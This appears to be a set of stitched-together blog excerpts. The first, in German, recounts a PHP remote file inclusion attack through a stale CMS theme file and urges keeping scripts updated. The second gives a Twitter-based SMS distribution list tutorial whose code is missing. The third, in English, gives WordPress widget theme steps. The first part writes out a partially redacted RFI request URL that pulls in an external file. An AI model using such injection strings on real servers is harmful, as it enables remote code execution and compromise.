Die betreffende Datei war Teil eines CMS-Themes und wurde zwischenzeitlich sicher von den Machern geupdatet, lag aber eben noch (eigentlich ungenutzt) in einer alten Version auf dem Server. Mit [...]/advanced2.php?pluginpath[0]=http://www.[...].net/mega/info.txt? wurde eine externe Datei eingebunden, also eine klassische PHP Remote File Include Vulnerability.
Also unbedingt dafür sorgen dass eure Scripte auf dem aktuellsten Stand sind oder ihr ungenutzte alte Sachen löscht – auch wenn das Arbeit macht – denn ihr haftet dafür was auf euren Servern passiert.

Teil 1: Den Verteiler einrichten

Zunächst muss bei Twitter ein “Zentralbenutzer” angelegt werden. Dieser Benutzer braucht kein aktiviertes Handy, da er nur zum Versand der Nachrichten dient. Es empfiehlt sich bei diesem Benutzer “Protect my updates” zu aktivieren – es muss schliesslich nicht jeder die teaminternen Nachrichten lesen können.

Jeder Benutzer, der jetzt zum Verteiler hinzugefügt werden soll, muss sich bei Twitter anmelden (oder angemeldet werden) und sein Handy aktivieren, wofür einmalig die Kosten für eine SMS ins Ausland anfallen.

Abschliessend muss jeder Benutzer den “Zentralbenutzer” zu seinen Freunden hinzufügen und natürlich das Empfangen von Nachrichten via Handy aktivieren (das ist Standart).

Teil 2: ein Webformular zum Versenden der Nachrichten erstellen

Soll nicht nur der Benutzer mit den Zugangsdaten für den “Zentralbenutzer” Nachrichten an den Verteiler senden können, empfiehlt es sich ein Webformular für den Versand zu erstellen. Hierfür lässt sich die Twitter-API, php und Curl nutzen.

Teil 2.1: Das Webformular
SMS-Verteiler mit Twitter einrichten: das Webformular
(In eine php oder html-Datei einfügen)

Teil 2.1: Der PHP-Teil
Einen SMS-Verteiler mit Twitter einrichten: der PHP-Teil
(als twitter.php ins gleiche Verzeichnis wie das Webformular legen und die Login-Daten anpassen)

Der Code ist natürlich nur ein Beispiel ohne jede Garantie, wir setzen ihn aber in dieser Form erfolgreich ein.

Ich habe das Formular innerhalb eines Login-Bereiches realisiert und lasse automatisch den Namen des eingeloggten Benutzers in die sms einfügen – sicher ist sicher.

I took Eli’s great adoption 2813 of Paul and Neil‘s 281, added the widgets and Chris option to display posts from all categories on the frontpage.

1. Download 2813 widgetized, unzip and upload it to your WordPress theme-folder.
Please be patient, I’ll release a new version of my adoption in late september.

2. Download the widgets-plugin, upload and activate it.
(Widgets are now included in WordPress.)

3. Open home.php under themes/2813widgetized/ and look for showposts=3 on line 4 – change the “3″ to the number of posts you want to display on the frontpage.

4. Start to add widgets from the Presentation (or “Themes” when using a lokalized WordPress) tab.

5. You’re done.

Please be patient, I’ll release a new version of my adoption in late september.